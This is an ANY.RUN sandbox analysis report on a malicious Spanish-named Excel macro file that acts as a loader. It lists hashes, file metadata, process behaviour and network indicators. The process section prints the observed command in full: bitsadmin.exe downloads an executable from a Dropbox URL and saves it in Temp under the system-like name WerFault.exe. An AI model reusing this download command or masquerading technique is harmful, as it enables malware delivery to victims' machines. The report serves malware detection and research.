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File name:

modelo_de_planilla_de_informacion_anual.xlsm

Full analysis: https://app.any.run/tasks/30d29151-0f2a-4826-8ed2-7117f32be553
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 06, 2018, 17:32:22
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

14D2E6E5E0770231A0BC6A83EED260EA

SHA1:

D02A5EB062CD0614619CFBDE436258E5C2818F27

SHA256:

425280F0208FEB42013A8CD5ACF03479381186F0FEF4EAC4A3CC1883850FCC51

SSDEEP:

768:fgFaPdlMFuCEnfKVrYyzJgsb19nQFX4aqnRBdfgB:fFPd7CRb9gw9nQFX27fgB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses BITADMIN.EXE for downloading application

      • EXCEL.EXE (PID: 2952)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2952)
  • SUSPICIOUS

    No suspicious indicators.
  • INFO

    • Creates files in the user directory

      • EXCEL.EXE (PID: 2952)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2952)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlam | Excel Macro-enabled Open XML add-in (42.4)
.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (29.2)
.xlsx | Excel Microsoft Office Open XML Format document (17.3)
.zip | Open Packaging Conventions container (8.9)
.zip | ZIP compressed archive (2)

EXIF

XML

AppVersion: 15.03
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
Company: -
TitlesOfParts: Sheet1
HeadingPairs:
  • Hojas de cálculo
  • 1
ScaleCrop: No
DocSecurity: None
Application: Microsoft Excel
ModifyDate: 2018:12:05 20:20:55Z
CreateDate: 2006:09:16 00:00:00Z
LastModifiedBy: -

XMP

Creator: -

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1393
ZipCompressedSize: 413
ZipCRC: 0xe69d70d7
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
32
Monitored processes
2
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe no specs bitsadmin.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2952"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3668"C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://uc4c072d080a924d9a5be7a116bc.dl.dropboxusercontent.com/cd/0/get/AW70VMajmU27PYzvf_RTimz_SOg6v3bPZkDyZQOpDtELLe-SC0gAndSV3a_WQuTho27Z4p3z3UKhvHVPLEOl8PwAnFoCuFxc7SdlVwzcAoRKg8kTSvrpW_9ADQH9c8IObtwrFsgMfPxyD5vurmw1X5E5j3JxQIxeMppO_a_Wn1fE-hktBHnOSv3LkNhPb7i309I/file?_download_id=52330111521751183188548678485365600154224360701293864588369380380266&_notify_domain=www.dropbox.com&dl=1.exe C:\Users\admin\AppData\Local\Temp\\WerFault.exeC:\Windows\System32\bitsadmin.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
2149122451
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Total events
599
Read events
505
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
2952EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR9551.tmp.cvr
MD5:
SHA256:
2952EXCEL.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:243213FDDF16EDC12708958CC47EEDDE
SHA256:A0D84506EE79D831A014EC0A220061B8A6503F1A74EB88B36F7C691ACFDC5B32
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
162.125.66.6:443
uc4c072d080a924d9a5be7a116bc.dl.dropboxusercontent.com
Dropbox, Inc.
DE
shared

DNS requests

Domain
IP
Reputation
uc4c072d080a924d9a5be7a116bc.dl.dropboxusercontent.com
  • 162.125.66.6
malicious

Threats

No threats detected
No debug info